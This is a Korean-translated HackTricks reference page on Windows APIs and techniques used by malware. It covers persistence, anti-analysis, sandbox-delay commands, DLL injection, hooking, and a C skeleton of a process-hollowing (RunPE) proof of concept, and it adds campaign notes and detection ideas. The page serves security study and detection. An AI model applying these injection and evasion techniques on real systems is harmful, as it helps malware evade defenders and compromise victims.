mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
214 lines
12 KiB
Markdown
214 lines
12 KiB
Markdown
# 일반 API (Common API used in Malware)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## 일반
|
||
|
||
### 네트워킹
|
||
|
||
| Raw Sockets | WinAPI Sockets |
|
||
| ------------- | -------------- |
|
||
| socket() | WSAStratup() |
|
||
| bind() | bind() |
|
||
| listen() | listen() |
|
||
| accept() | accept() |
|
||
| connect() | connect() |
|
||
| read()/recv() | recv() |
|
||
| write() | send() |
|
||
| shutdown() | WSACleanup() |
|
||
|
||
### TLS pinning and chunked transport
|
||
|
||
많은 로더는 TCP 스트림을 `SslStream`으로 감싸고 서버의 leaf certificate를 임베디드 복사본에 대해 고정합니다 (certificate pinning). 봇 정보/작업은 압축됩니다(예: GZip). 응답 크기가 임계값(약 1 MB)을 초과하면, 데이터는 크기 기반 휴리스틱을 회피하고 역직렬화 중 메모리 스파이크를 줄이기 위해 작은 청크(예: 16 KB 세그먼트)로 분할됩니다.
|
||
|
||
|
||
### 영속성 (Persistence)
|
||
|
||
| 레지스트리 (Registry) | 파일 (File) | 서비스 (Service) |
|
||
| --------------------- | ------------- | ---------------------------- |
|
||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
|
||
| RegDeleteKeyEx() | WriteFile() | |
|
||
| RegGetValue() | ReadFile() | |
|
||
|
||
### 암호화 (Encryption)
|
||
|
||
| Name |
|
||
| --------------------- |
|
||
| WinCrypt |
|
||
| CryptAcquireContext() |
|
||
| CryptGenKey() |
|
||
| CryptDeriveKey() |
|
||
| CryptDecrypt() |
|
||
| CryptReleaseContext() |
|
||
|
||
### 안티-분석/VM (Anti-Analysis/VM)
|
||
|
||
| 함수 이름 (Function Name) | 어셈블리 명령어 (Assembly Instructions) |
|
||
| ------------------------------------------------------- | ---------------------------------------- |
|
||
| IsDebuggerPresent() | CPUID() |
|
||
| GetSystemInfo() | IN() |
|
||
| GlobalMemoryStatusEx() | |
|
||
| GetVersion() | |
|
||
| CreateToolhelp32Snapshot \[Check if a process is running] | |
|
||
| CreateFileW/A \[Check if a file exist] | |
|
||
|
||
### 에뮬레이터 API 지문화 및 슬립 회피 (Emulator API fingerprinting & sleep evasion)
|
||
|
||
Malware는 종종 Defender의 virtualised exports(예: Malware Protection Emulator에서 관찰되는)를 검색하여 샌드박스 에뮬레이터를 지문화합니다. 프로세스에서 이러한 심볼이 존재하면(대소문자 구분 없는 스캔) 실행을 10–30분 지연시키고 재확인하여 분석 시간을 소모시킵니다.
|
||
|
||
카나리로 사용되는 API 이름 예시:
|
||
- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
|
||
- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
|
||
- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
|
||
|
||
일반적인 지연 프리미티브 (user-land):
|
||
```cmd
|
||
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
|
||
```
|
||
인자 게이트키핑
|
||
- 운영자들은 페이로드 실행 전에 무해해 보이는 CLI 스위치의 존재를 요구하는 경우가 있다(예: Chromium 자식 프로세스를 흉내내기 위한 `/i:--type=renderer`). 스위치가 없으면 loader가 즉시 종료되어 단순한 sandbox 실행을 방해한다.
|
||
|
||
|
||
### Stealth
|
||
|
||
| 이름 | |
|
||
| ------------------------ | -------------------------------------------------------------------------- |
|
||
| VirtualAlloc | 메모리 할당 (packers) |
|
||
| VirtualProtect | 메모리 권한 변경 (section에 실행 권한을 부여하는 packer) |
|
||
| ReadProcessMemory | 외부 프로세스에 대한 주입 |
|
||
| WriteProcessMemoryA/W | 외부 프로세스에 대한 주입 |
|
||
| NtWriteVirtualMemory | |
|
||
| CreateRemoteThread | DLL/Process injection... |
|
||
| NtUnmapViewOfSection | |
|
||
| QueueUserAPC | |
|
||
| CreateProcessInternalA/W | |
|
||
|
||
### Execution
|
||
|
||
| 함수 이름 |
|
||
| ---------------- |
|
||
| CreateProcessA/W |
|
||
| ShellExecute |
|
||
| WinExec |
|
||
| ResumeThread |
|
||
| NtResumeThread |
|
||
|
||
### Miscellaneous
|
||
|
||
- GetAsyncKeyState() -- 키로깅
|
||
- SetWindowsHookEx -- 키로깅
|
||
- GetForeGroundWindow -- 실행 중인 창 이름 가져오기 (또는 브라우저의 웹사이트)
|
||
- LoadLibrary() -- 라이브러리 로드
|
||
- GetProcAddress() -- 함수 주소 조회
|
||
- CreateToolhelp32Snapshot() -- 실행 중인 프로세스 나열
|
||
- GetDC() -- 화면 캡처
|
||
- BitBlt() -- 화면 캡처
|
||
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 인터넷 접근
|
||
- FindResource(), LoadResource(), LockResource() -- 실행 파일의 리소스 접근
|
||
|
||
## Malware Techniques
|
||
|
||
### DLL Injection
|
||
|
||
Execute an arbitrary DLL inside another process
|
||
|
||
1. 악성 DLL을 주입할 프로세스를 찾음: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||
2. 프로세스를 엶: GetModuleHandle, GetProcAddress, OpenProcess
|
||
3. 프로세스 내부에 DLL 경로를 씀: VirtualAllocEx, WriteProcessMemory
|
||
4. 악성 DLL을 로드할 스레드를 생성: CreateRemoteThread, LoadLibrary
|
||
|
||
Other functions to use: NTCreateThreadEx, RtlCreateUserThread
|
||
|
||
### Reflective DLL Injection
|
||
|
||
Load a malicious DLL without calling normal Windows API calls.\
|
||
The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.
|
||
|
||
### Thread Hijacking
|
||
|
||
Find a thread from a process and make it load a malicious DLL
|
||
|
||
1. 대상 스레드 찾기: CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||
2. 스레드 열기: OpenThread
|
||
3. 스레드 일시중지: SuspendThread
|
||
4. 희생자 프로세스 내부에 악성 DLL 경로 기록: VirtualAllocEx, WriteProcessMemory
|
||
5. 라이브러리를 로드하면서 스레드 재개: ResumeThread
|
||
|
||
### PE Injection
|
||
|
||
Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there.
|
||
|
||
### Process Hollowing (a.k.a **RunPE**)
|
||
|
||
`Process Hollowing`은 Windows 악성코드가 사용하는 대표적인 **defence-evasion / execution** 트릭 중 하나이다. 아이디어는 *정상적인* 프로세스를 **suspended** 상태로 실행한 뒤, 메모리에서 원래 이미지를 제거(hollow)하고 그 자리에 **임의의 PE**를 복사하는 것이다. 기본 스레드가 재개되면 악성 엔트리 포인트가 신뢰된 바이너리(종종 Microsoft 서명됨)의 위장 하에 실행된다.
|
||
|
||
전형적인 작업 흐름:
|
||
|
||
1. 무해한 호스트(예: `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`)를 아무 명령도 실행되지 않도록 **suspended** 상태로 생성.
|
||
```c
|
||
STARTUPINFOA si = { sizeof(si) };
|
||
PROCESS_INFORMATION pi;
|
||
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
|
||
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||
```
|
||
2. 악성 페이로드를 메모리로 읽어 PE 헤더를 파싱하여 `SizeOfImage`, 섹션들 및 새로운 `EntryPoint`를 얻음.
|
||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – suspended된 프로세스의 원래 이미지 베이스를 언맵.
|
||
4. **VirtualAllocEx** – 원격 프로세스 내부에 `SizeOfImage` 크기의 RWX 메모리를 예약.
|
||
5. **WriteProcessMemory** – 먼저 `Headers`를 복사한 다음 섹션들을 순회하며 raw 데이터를 복사.
|
||
6. **SetThreadContext** – 컨텍스트 구조의 `EAX/RAX` (`x64`에서는 `RCX`) 또는 `Rip` 값을 패치하여 `EIP`가 페이로드의 `EntryPoint`를 가리키도록 함.
|
||
7. **ResumeThread** – 스레드가 계속 실행되어 공격자가 제공한 코드를 실행함.
|
||
|
||
최소 PoC (x86) 골격:
|
||
```c
|
||
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
|
||
// 1. create suspended process
|
||
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
|
||
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
|
||
|
||
// 2. read remote PEB to get ImageBaseAddress
|
||
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
|
||
GetThreadContext(pi.hThread,&ctx);
|
||
PVOID baseAddr;
|
||
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||
|
||
// 3. unmap original image & allocate new region at same base
|
||
NtUnmapViewOfSection(pi.hProcess,baseAddr);
|
||
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
|
||
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
|
||
// 4-5. copy headers & sections …
|
||
// 6. write new image base into PEB and set Eip
|
||
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
|
||
SetThreadContext(pi.hThread,&ctx);
|
||
// 7. run!
|
||
ResumeThread(pi.hThread);
|
||
}
|
||
```
|
||
다음은 **DarkCloud Stealer** 캠페인에서 관찰된 실무 노트:
|
||
|
||
* 로더는 `RegAsm.exe` (part of the .NET Framework)를 호스트로 선택 — 서명된 바이너리로 눈에 띄기 어려움.
|
||
* 복호화된 VB6 stealer (`holographies.exe`)는 디스크에 *드롭되지 않음*; hollowed 프로세스 내부에서만 존재하여 정적 탐지를 어렵게 함.
|
||
* 민감한 문자열(regexes, paths, Telegram credentials)은 문자열별로 **RC4-encrypted** 되어 런타임에만 복호화되므로 메모리 스캔이 더 복잡해짐.
|
||
|
||
탐지 아이디어:
|
||
* 메모리 영역이 **RWX**로 할당되기 전까지 GUI/콘솔 윈도우를 전혀 생성하지 않는 `CREATE_SUSPENDED` 프로세스에 대해 경보를 생성(정상 코드에서는 드문 동작).
|
||
* 서로 다른 프로세스에서 `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` 호출 시퀀스를 탐지.
|
||
|
||
## Hooking
|
||
|
||
- The **SSDT** (**System Service Descriptor Table**)는 커널 함수(ntoskrnl.exe) 또는 GUI 드라이버(win32k.sys)를 가리켜 사용자 프로세스가 해당 함수를 호출할 수 있게 합니다.
|
||
- A rootkit은 이러한 포인터를 공격자가 제어하는 주소로 수정할 수 있습니다.
|
||
- The **IRP** (**I/O Request Packets**)는 한 구성요소에서 다른 구성요소로 데이터를 전달합니다. 커널의 거의 모든 것은 IRP를 사용하며 각 디바이스 오브젝트는 훅될 수 있는 자체 함수 테이블을 가집니다: DKOM (Direct Kernel Object Manipulation)
|
||
- The **IAT** (**Import Address Table**)는 종속성을 해결하는 데 유용합니다. 이 테이블을 훅하여 호출될 코드를 가로챌 수 있습니다.
|
||
- **EAT** (**Export Address Table**) Hooks. 이러한 훅은 **userland**에서 수행할 수 있습니다. 목표는 DLL이 내보내는 함수를 훅하는 것입니다.
|
||
- **Inline Hooks**: 이 유형은 달성하기 어렵습니다. 함수 코드 자체를 수정하는 것을 포함합니다. 예를 들어 함수 시작 부분에 점프를 삽입하는 방식이 있을 수 있습니다.
|
||
|
||
## References
|
||
|
||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|